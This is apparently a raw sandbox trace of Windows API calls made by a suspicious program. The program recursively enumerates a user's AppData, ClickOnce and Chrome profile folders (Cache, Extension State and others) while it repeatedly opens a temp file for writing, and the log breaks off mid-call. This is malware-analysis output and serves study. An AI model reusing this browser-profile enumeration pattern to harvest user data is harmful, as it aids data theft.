[0131.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.783] GetFileType (hFile=0x18c) returned 0x1 [0131.783] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.783] AreFileApisANSI () returned 1 [0131.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.784] GetFileType (hFile=0x190) returned 0x1 [0131.784] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x1f000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x1e84c, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0131.784] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.784] GetLastError () returned 0x12 [0131.784] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.784] GetLastError () returned 0x12 [0131.784] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.784] GetLastError () returned 0x12 [0131.784] AreFileApisANSI () returned 1 [0131.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.784] GetFileType (hFile=0x184) returned 0x1 [0131.785] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.785] AreFileApisANSI () returned 1 [0131.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.785] GetFileType (hFile=0x188) returned 0x1 [0131.785] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.785] AreFileApisANSI () returned 1 [0131.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.786] GetFileType (hFile=0x18c) returned 0x1 [0131.786] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x18b4a4, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x1f000, nFileSizeHigh=0x0, nFileSizeLow=0x1ead0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0131.786] AreFileApisANSI () returned 1 [0131.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.786] GetFileType (hFile=0x18c) returned 0x1 [0131.786] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.107] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.107] GetLastError () returned 0x12 [0132.107] AreFileApisANSI () returned 1 [0132.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.108] GetFileType (hFile=0x18c) returned 0x1 [0132.110] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x400000, dwReserved1=0x888850, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.111] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.112] GetLastError () returned 0x12 [0132.112] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0132.112] GetLastError () returned 0x12 [0132.112] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0132.112] GetLastError () returned 0x12 [0132.112] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0132.112] GetLastError () returned 0x12 [0132.112] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0132.112] GetLastError () returned 0x12 [0132.113] AreFileApisANSI () returned 1 [0132.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0132.113] GetFileType (hFile=0x17c) returned 0x1 [0132.113] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0132.113] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0132.113] GetLastError () returned 0x12 [0132.113] AreFileApisANSI () returned 1 [0132.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0132.113] GetFileType (hFile=0x17c) returned 0x1 [0132.114] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0132.114] AreFileApisANSI () returned 1 [0132.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0132.114] GetFileType (hFile=0x180) returned 0x1 [0132.114] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0132.114] AreFileApisANSI () returned 1 [0132.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0132.114] GetFileType (hFile=0x184) returned 0x1 [0132.115] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0132.115] AreFileApisANSI () returned 1 [0132.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0132.115] GetFileType (hFile=0x188) returned 0x1 [0132.115] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0132.115] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0132.115] GetLastError () returned 0x12 [0132.116] AreFileApisANSI () returned 1 [0132.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0132.116] GetFileType (hFile=0x188) returned 0x1 [0132.116] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0132.116] AreFileApisANSI () returned 1 [0132.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.116] GetFileType (hFile=0x18c) returned 0x1 [0132.116] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.117] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.117] GetLastError () returned 0x12 [0132.117] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0132.117] GetLastError () returned 0x12 [0132.117] AreFileApisANSI () returned 1 [0132.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0132.117] GetFileType (hFile=0x188) returned 0x1 [0132.117] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0132.117] AreFileApisANSI () returned 1 [0132.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.117] GetFileType (hFile=0x18c) returned 0x1 [0132.118] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.118] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.118] GetLastError () returned 0x12 [0132.118] AreFileApisANSI () returned 1 [0132.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.118] GetFileType (hFile=0x18c) returned 0x1 [0132.118] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.119] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.120] GetLastError () returned 0x12 [0132.120] AreFileApisANSI () returned 1 [0132.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.120] GetFileType (hFile=0x18c) returned 0x1 [0132.120] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.185] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.186] GetLastError () returned 0x12 [0132.186] AreFileApisANSI () returned 1 [0132.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.186] GetFileType (hFile=0x18c) returned 0x1 [0132.186] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18b46c | out: 